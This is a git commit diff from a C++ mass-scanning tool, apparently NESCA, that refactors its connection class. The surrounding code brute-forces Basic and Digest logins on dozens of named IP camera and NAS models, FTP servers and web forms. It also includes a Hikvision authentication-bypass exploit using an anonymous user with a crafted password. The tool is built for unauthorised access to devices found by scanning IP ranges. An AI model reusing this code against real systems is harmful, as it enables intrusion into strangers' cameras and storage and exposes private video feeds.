Crash fix(?) + fake 401-error fix.

This commit is contained in:
cora32 2015-04-29 02:27:54 +03:00
parent dd9e292cd1
commit 7f363c4d48
14 changed files with 102 additions and 81 deletions

View File

@ -39,25 +39,21 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode
std::string lpString = string("anonymous") + ":" + string("\177\177\177\177\177\177");
string buffer;
int res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode);
Connector con;
int res = con.nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode);
if (res > 0) {
if (BA::checkOutput(&buffer, ip, port) == 1) return 1;
}
return 0;
}
lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
string buffer;
lopaStr BA::BABrute(const char *ip, const int port, bool digestMode, const std::string *buff) {
string lpString;
lopaStr lps = {"UNKNOWN", "", ""};
int passCounter = 0;
int res = 0;
res = Connector::nConnect(ip, port, &buffer);
if (res == -2) return lps;
int isDig = 0;
isDig = Utils::isDigest(&buffer);
int isDig = Utils::isDigest(buff);
if (isDig == -1) {
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" +
QString(ip) + ":" + QString::number(port) + "</a></span>");
@ -79,6 +75,8 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
};
}
std::string buffer;
if (commenceHikvisionEx1(ip, port, digestMode)) {
stt->doEmitionGreenFoundData("Hikvision exploit triggered! (" +
QString(ip) + ":" +
@ -95,7 +93,8 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode);
Connector con;
res = con.nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode);
if (res == -2) return lps;
else if (res != -1) {
res = checkOutput(&buffer, ip, port);
@ -125,14 +124,14 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
return lps;
}
lopaStr BA::BALobby(const char *ip, const int port, bool digestMode) {
lopaStr BA::BALobby(const char *ip, const int port, bool digestMode, const std::string *buffer) {
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
++baCount;
++BrutingThrds;
const lopaStr &lps = BABrute(ip, port, digestMode);
const lopaStr &lps = BABrute(ip, port, digestMode, buffer);
--BrutingThrds;
return lps;

View File

@ -8,11 +8,11 @@
class BA {
private:
static lopaStr BABrute(const char *ip, const int port, bool digestMode);
static lopaStr BABrute(const char *ip, const int port, bool digestMode, const std::string *buffer);
public:
static int checkOutput(const string *buffer, const char *ip, const int port);
static lopaStr BALobby(const char *ip, const int port, bool digestMode);
static lopaStr BALobby(const char *ip, const int port, bool digestMode, const std::string *buffer);
};
#endif // BASICAUTH_H

View File

@ -54,7 +54,8 @@ int KeyCheckerMain()
headerVector.push_back("X-Nescav3: True");
std::string buffer;
Connector::nConnect((std::string(trcSrv) + std::string(trcScr)).c_str(), std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector);
Connector con;
con.nConnect((std::string(trcSrv) + std::string(trcScr)).c_str(), std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector);
int hostStringIndex = buffer.find("\r\n\r\n");
if(hostStringIndex != -1) {
@ -62,7 +63,8 @@ int KeyCheckerMain()
int s = buffer.find("http://", hostStringIndex);
int e = buffer.find('/', s + 8);
std::string url = buffer.substr(s, e - s);
Connector::nConnect((url + std::string("/api/checkaccount?key=") + std::string(trcPersKey)).c_str(),
Connector con;
con.nConnect((url + std::string("/api/checkaccount?key=") + std::string(trcPersKey)).c_str(),
std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector);
if(Utils::ustrstr(buffer, std::string("202 Accepted")) != -1) {

View File

@ -13,7 +13,7 @@
class Connector {
public:
static int nConnect(const char* ip, const int port, std::string *buffer,
int nConnect(const char* ip, const int port, std::string *buffer,
const char *postData = NULL,
const std::vector<std::string> *customHeaders = NULL,
const std::string *lpString = NULL,
@ -23,6 +23,6 @@ public:
// const std::vector<std::string> *customHeaders = NULL,
// const std::string *lpString = NULL,
// bool digestMode = false);
static int connectToPort(char *ip, int port);
int connectToPort(char *ip, int port);
};
#endif // CONNECTOR_H

View File

@ -42,7 +42,8 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
ZeroMemory(nip, 128);
sprintf(nip, "ftp://%s", ip);
res = Connector::nConnect(nip, port, &buffer, NULL, NULL, &lpString);
Connector con;
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
if (res == -2) return lps;
else if (res != -1) {
if (!globalScanFlag) return lps;

View File

@ -28,7 +28,8 @@ std::string getLM(std::string *buffer) {
void checkWeb(const char *fileName, std::string *oldLM) {
std::string buffer;
Connector::nConnect(std::string("http://nesca.d3w.org/files/" + std::string(fileName)).c_str(), 80, &buffer);
Connector con;
con.nConnect(std::string("http://nesca.d3w.org/files/" + std::string(fileName)).c_str(), 80, &buffer);
const std::string &lm = getLM(&buffer);
if(lm.size() == 0) return;

View File

@ -175,8 +175,9 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
}
std::string buffer;
if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
else res = Connector::nConnect(request, port, &buffer);
Connector con;
if (doPost) res = con.nConnect(request, port, &buffer, postData);
else res = con.nConnect(request, port, &buffer);
if (res == -2) return lps;
else if (res != -1) {

View File

@ -911,10 +911,11 @@ void _connect() {
++ipCounter;
++cons;
Connector con;
for (int i = 0; i < MainStarter::portVector.size(); ++i)
{
if (!globalScanFlag) break;
if (Connector::connectToPort((char*)ip.c_str(), MainStarter::portVector[i]) == -2) break;
if (con.connectToPort((char*)ip.c_str(), MainStarter::portVector[i]) == -2) break;
};
--cons;
stt->doEmitionUpdateArc(gTargets);

View File

@ -91,7 +91,8 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
char _get_ssh_banner(const char *ip, int port) {
char recvBuff[256] = {0};
std::string buffer;
Connector::nConnect(ip, port, &buffer);
Connector con;
con.nConnect(ip, port, &buffer);
int sz = buffer.size();

View File

@ -81,7 +81,8 @@ lopaStr WFClass::doGetCheck(const char *ip,
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass);
std::string buffer;
if(Connector::nConnect(nip, port, &buffer) <= 0) return result;
Connector con;
if(con.nConnect(nip, port, &buffer) <= 0) return result;
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
"; login/pass: "+ QString(login) + ":" + QString(pass) +
@ -134,7 +135,8 @@ lopaStr WFClass::doPostCheck(const char *ip,
sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass);
std::string buffer;
if(Connector::nConnect(nip, port, &buffer, postData) <= 0) return result;
Connector con;
if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
QString(login) + ":" + QString(pass) + "; - Progress: (" +

View File

@ -1223,9 +1223,12 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char
int _specBrute(const char *ip, int port,
char *finalstr, int flag,
char *path, char *comment, char *cp, int size, const std::string *buffer = NULL)
char *path, char *comment, char *cp, int size, const std::string *buffer)
{
const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port, (strcmp(comment, "[DIGEST]") == 0 ? true : false));
const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(),
port,
(strcmp(comment, "[DIGEST]") == 0 ? true : false),
buffer);
if (strcmp(lps.other, "404") == 0) {
@ -1471,7 +1474,8 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
sprintf(nip.get(), "%s%s", tempIP, tempPath);
std::string buffer;
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
Connector con;
int cSz = con.nConnect(nip.get(), tempPort, &buffer);
if(cSz > -1)
{
@ -1588,7 +1592,8 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
sprintf(nip.get(), "%s%s", tempIP, tempPath);
std::string buffer;
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
Connector con;
int cSz = con.nConnect(nip.get(), tempPort, &buffer);
if(cSz > -1)
{
@ -1656,7 +1661,8 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
sprintf(nip.get(), "%s%s", tempIP, tempPath);
std::string buffer;
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
Connector con;
int cSz = con.nConnect(nip.get(), tempPort, &buffer);
if(cSz > -1)
{
@ -1718,7 +1724,8 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
std::unique_ptr<char[]> nip(new char[strlen(ip) + strlen(str) + 1]);
sprintf(nip.get(), "%s%s", ip, str);
std::string buffer;
int cSz = Connector::nConnect(nip.get(), port, &buffer);
Connector con;
int cSz = con.nConnect(nip.get(), port, &buffer);
if(cSz > -1)
{
@ -2383,9 +2390,11 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
{
int rh = header(ip, port, buffcpy->c_str(), lx, &ps, &redirStrLst, size);
strcpy(cp, ps.codepage);
if (rh == -1) {
return -1;
}
if (rh <= -2)
{
flag = ps.flag;
@ -2451,47 +2460,47 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
}
else if (flag == 21) //Eyeon
{
_specBrute(ip, port, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, size);
_specBrute(ip, port, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 22) //IP Camera control
{
_specBrute(ip, port, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, size);
_specBrute(ip, port, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 23) //Network Camera BB-SC384
{
_specBrute(ip, port, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, size);
_specBrute(ip, port, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 24) //Network Camera VB-M40
{
_specBrute(ip, port, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size);
_specBrute(ip, port, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 25) //Panasonic Unibrowser-camera
{
_specBrute(ip, 60002, "Panasonic Unibrowser-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, size);
_specBrute(ip, 60002, "Panasonic Unibrowser-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 26) //Sony Network Camera
{
_specBrute(ip, port, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, size);
_specBrute(ip, port, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 27) //UA Network Camera
{
_specBrute(ip, port, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, size);
_specBrute(ip, port, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 28) //Network Camera VB-M40
{
_specBrute(ip, port, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size);
_specBrute(ip, port, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 29) //LG Smart IP Device
{
_specBrute(ip, port, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, size);
_specBrute(ip, port, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 30) //NAS
{
_specBrute(ip, port, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, size);
_specBrute(ip, port, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 31) //ip cam
{
_specBrute(ip, port, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, size);
_specBrute(ip, port, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 32) //IPC WEB ip cam
{
@ -2503,8 +2512,8 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
}
else if (flag == 34) //Hikvision ip cam
{
if (_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size) == -1){
_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/HIK/userCheck", "Basic Authorization", cp, size);
if (_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size, buffcpy) == -1){
_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/HIK/userCheck", "Basic Authorization", cp, size, buffcpy);
}
}
else if (flag == 35) //EasyCam
@ -2514,12 +2523,13 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
else if (flag == 36) //Panasonic Cam
{
_specBrute(ip, port, QString("[Panasonic] IP Camera (" + QString(ip) + ":" + QString::number(port) + ")").toLocal8Bit().data(), flag,
"/config/index.cgi", "Basic Authorization", cp, size);
"/config/index.cgi", "Basic Authorization", cp, size, buffcpy);
stt->doEmitionYellowFoundData("[PaCr]Panasonic cam detected, crawling started.");
std::string buff;
Connector::nConnect(std::string(std::string(ip) + "/config/cam_portal.cgi").c_str(), port, &buff);
Connector con;
con.nConnect(std::string(std::string(ip) + "/config/cam_portal.cgi").c_str(), port, &buff);
int nPort = port;
for (int i = 0; i < 16; ++i) {
std::string &cam_link_data = Utils::getStrValue(buff, "cam_link[" + std::to_string(i) + "]", ";");
@ -2536,7 +2546,7 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
_specBrute(newIP.c_str(), nPort, QString("[Panasonic] IP Camera (" +
QString(newIP.c_str()) + ":" + QString::number(nPort) + ")").toLocal8Bit().data(), flag,
(char*)newPath.c_str(), "Basic Authorization", cp, size);
(char*)newPath.c_str(), "Basic Authorization", cp, size, buffcpy);
}
}
else stt->doEmitionRedFoundData("[Panasonic Cam URL] Cannot extract data " +
@ -2548,7 +2558,7 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
}
else if (flag == 37) //Panasonic Cam
{
_specBrute(ip, port, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, size);
_specBrute(ip, port, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 38) //Foscam
{
@ -2556,11 +2566,11 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
}
else if (flag == 39) //EagleEye
{
_specBrute(ip, port, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, size);
_specBrute(ip, port, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 40) //Network Camera VB-C??
{
_specBrute(ip, port, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, size);
_specBrute(ip, port, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 41) //AVIOSYS-camera
{
@ -2568,19 +2578,19 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
}
else if (flag == 42) //NW_camera
{
_specBrute(ip, port, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, size);
_specBrute(ip, port, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 43) //NW_camera
{
_specBrute(ip, port, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, size);
_specBrute(ip, port, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 44) //Hikvision ip cam 2
{
_specBrute(ip, port, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, size);
_specBrute(ip, port, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 45) //Panasonic ip cam
{
_specBrute(ip, port, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, size);
_specBrute(ip, port, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 46) //Buffalo disk
{
@ -2600,7 +2610,7 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
}
else if (flag == 50) //IP Camera
{
_specBrute(ip, port, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size);
_specBrute(ip, port, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 51) //MASPRO
{
@ -2620,50 +2630,50 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
}
else if (flag == 55) //QCam
{
_specBrute(ip, port, "IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size);
_specBrute(ip, port, "IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 20) //AXIS Camera
{
if (_specBrute(ip, port, "AXIS Camera", flag, "/mjpg/video.mjpg", "Basic Authorization", cp, size) == -1) {
if (_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size) == -1) {
_specBrute(ip, port, "AXIS Camera", flag, "/view/viewer_index.shtml?", "Basic Authorization", cp, size);
if (_specBrute(ip, port, "AXIS Camera", flag, "/mjpg/video.mjpg", "Basic Authorization", cp, size, buffcpy) == -1) {
if (_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size, buffcpy) == -1) {
_specBrute(ip, port, "AXIS Camera", flag, "/view/viewer_index.shtml?", "Basic Authorization", cp, size, buffcpy);
}
}
}
else if (flag == 19) //reecam cameras
{
_specBrute(ip, port, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, size);
_specBrute(ip, port, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 18) //linksys camera
{
_specBrute(ip, port, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, size);
_specBrute(ip, port, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 17) //Real-time IP Camera Monitoring System
{
_specBrute(ip, port, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, size);
_specBrute(ip, port, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 11)
{
_specBrute(ip, port, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size);
_specBrute(ip, port, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 12)
{
_specBrute(ip, port, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, size);
_specBrute(ip, port, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 13)
{
_specBrute(ip, port, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, size);
_specBrute(ip, port, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 14)
{
_specBrute(ip, port, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, size);
_specBrute(ip, port, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, size, buffcpy);
}
else if (flag == 15) //For HFS
{
char log[512] = { 0 };
++AnomC1;
const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), port, false);
const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), port, false, buffcpy);
sprintf(log, "[HFS]:<a href=\"http://%s:%d/\"><span style=\"color: #a1a1a1;\">%s:%d</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
ip, port, ip, port, finalstr, lps.login, lps.pass);
@ -2673,11 +2683,11 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
}
else if (flag == 1)
{
_specBrute(ip, port, finalstr, flag, baPath, "[NORMAL]", cp, size);
_specBrute(ip, port, finalstr, flag, baPath, "[NORMAL]", cp, size, buffcpy);
}
else if (flag == 101)
{
_specBrute(ip, port, finalstr, flag, baPath, "[DIGEST]", cp, size);
_specBrute(ip, port, finalstr, flag, baPath, "[DIGEST]", cp, size, buffcpy);
}
else if (flag == 10)
{

View File

@ -16,7 +16,9 @@ void _getNewMsg()
std::string buffer;
std::vector<std::string> headerVector {"X-Nescav3: True"};
Connector::nConnect(request, 80, &buffer, NULL, &headerVector);
Connector con;
con.nConnect(request, 80, &buffer, NULL, &headerVector);
char *ptr1 = NULL;
if(buffer.size() > 0)

View File

@ -9,8 +9,9 @@ void _checkVer()
while(true) {
const char request[64] = {"http://nesca.d3w.org/version"};
std::string buffer;
std::vector<std::string> headerVector {"X-Nescav3: True"};
Connector::nConnect(request, 80, &buffer, NULL, &headerVector);
std::vector<std::string> headerVector{ "X-Nescav3: True" };
Connector con;
con.nConnect(request, 80, &buffer, NULL, &headerVector);
char *ptr1 = NULL;
if(buffer.size() > 0)

View File

@ -1 +1 @@
24B9C-79E
24B9D-DD